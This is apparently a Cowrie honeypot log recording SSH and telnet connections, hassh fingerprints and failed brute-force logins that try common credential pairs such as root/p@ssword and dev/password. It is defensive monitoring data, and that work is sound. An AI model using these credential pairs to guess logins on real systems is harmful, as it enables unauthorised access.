{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:34.391732Z","src_ip":"45.156.87.253","session":"7161f6edd08f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":47930,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4a04757f53","protocol":"telnet","message":"New connection: 72.167.226.244:47930 (10.17.0.5:23) [session: bf4a04757f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:34.720671Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:34.747445Z","src_ip":"45.156.87.253","session":"7161f6edd08f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:35.060660Z","src_ip":"162.241.129.208","session":"a5a64debb330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:35.830355Z","src_ip":"45.156.87.253","session":"7161f6edd08f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31365180015564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:37.595504Z","src_ip":"72.167.226.244","session":"04b1457043e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55856,"dst_ip":"10.17.0.5","dst_port":22,"session":"1191173a36db","protocol":"ssh","message":"New connection: 45.156.87.253:55856 (10.17.0.5:22) [session: 1191173a36db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:37.866233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:37.870007Z","src_ip":"45.156.87.253","session":"1191173a36db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:37.951522Z","src_ip":"45.156.87.253","session":"1191173a36db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1","message":"login attempt [runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:38.198842Z","src_ip":"45.156.87.253","session":"1191173a36db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:39.424334Z","src_ip":"45.156.87.253","session":"1191173a36db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.779006004333496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:40.693331Z","src_ip":"14.47.200.242","session":"b05be2726127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":42077,"dst_ip":"159.203.135.109","dst_port":23,"session":"795b9a83129a","protocol":"telnet","message":"New connection: 14.47.200.242:42077 (159.203.135.109:23) [session: 795b9a83129a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:40.891391Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45286,"dst_ip":"10.17.0.5","dst_port":22,"session":"014b0457d7f6","protocol":"ssh","message":"New connection: 45.156.87.253:45286 (10.17.0.5:22) [session: 014b0457d7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:41.182740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:41.186593Z","src_ip":"45.156.87.253","session":"014b0457d7f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:41.266740Z","src_ip":"45.156.87.253","session":"014b0457d7f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:41.509227Z","src_ip":"45.156.87.253","session":"014b0457d7f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"8%97%c`i","message":"login attempt [\"??$/8%97%c`i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:41.776037Z","src_ip":"14.47.200.242","session":"795b9a83129a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:42.591744Z","src_ip":"45.156.87.253","session":"014b0457d7f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:42.688623Z","src_ip":"14.47.200.242","session":"795b9a83129a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:43.620555Z","src_ip":"14.47.200.242","session":"795b9a83129a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45288,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b285668b5b","protocol":"ssh","message":"New connection: 45.156.87.253:45288 (10.17.0.5:22) [session: 96b285668b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:44.495498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:44.575055Z","src_ip":"45.156.87.253","session":"96b285668b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:44.667725Z","src_ip":"45.156.87.253","session":"96b285668b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:44.913557Z","src_ip":"45.156.87.253","session":"96b285668b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:45.997569Z","src_ip":"45.156.87.253","session":"96b285668b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45300,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aed9dedb27d","protocol":"ssh","message":"New connection: 45.156.87.253:45300 (10.17.0.5:22) [session: 8aed9dedb27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:47.983121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:47.987165Z","src_ip":"45.156.87.253","session":"8aed9dedb27d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:48.068575Z","src_ip":"45.156.87.253","session":"8aed9dedb27d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:48.331289Z","src_ip":"45.156.87.253","session":"8aed9dedb27d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:49.555413Z","src_ip":"45.156.87.253","session":"8aed9dedb27d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33444,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4f148a30e5","protocol":"ssh","message":"New connection: 45.156.87.253:33444 (10.17.0.5:22) [session: 3f4f148a30e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:51.368580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:51.373425Z","src_ip":"45.156.87.253","session":"3f4f148a30e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:51.454045Z","src_ip":"45.156.87.253","session":"3f4f148a30e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwerty","message":"login attempt [debian/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:51.698837Z","src_ip":"45.156.87.253","session":"3f4f148a30e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:52.781848Z","src_ip":"45.156.87.253","session":"3f4f148a30e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33454,"dst_ip":"10.17.0.5","dst_port":22,"session":"8863a8da1069","protocol":"ssh","message":"New connection: 45.156.87.253:33454 (10.17.0.5:22) [session: 8863a8da1069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:54.766867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:54.771437Z","src_ip":"45.156.87.253","session":"8863a8da1069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:54.910771Z","src_ip":"45.156.87.253","session":"8863a8da1069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:55.229983Z","src_ip":"45.156.87.253","session":"8863a8da1069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:56.313462Z","src_ip":"45.156.87.253","session":"8863a8da1069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33456,"dst_ip":"10.17.0.5","dst_port":22,"session":"e308a3313eb6","protocol":"ssh","message":"New connection: 45.156.87.253:33456 (10.17.0.5:22) [session: e308a3313eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:58.148207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:58.152466Z","src_ip":"45.156.87.253","session":"e308a3313eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:58.233757Z","src_ip":"45.156.87.253","session":"e308a3313eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1","message":"login attempt [claude/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:58.481836Z","src_ip":"45.156.87.253","session":"e308a3313eb6","protocol":"ssh"}
